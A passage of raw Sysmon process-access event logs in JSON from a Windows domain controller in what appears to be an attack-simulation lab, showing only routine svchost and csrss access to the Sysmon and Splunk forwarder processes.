12:02:36.588","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42DC-5F2D-0000-0010AAFF0D00}","TargetProcessId":"1512","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7528,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:36.588\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:36.588","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7529,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:36.588\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:36.588","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7530,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:36.588\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:36.588","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7531,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:36.588\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:36.588","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7532,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:36.588\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:36.588","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7533,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:36.588\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:36.588","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7534,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:36.588\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:36.588","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7535,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:36.588\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:36.588","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.D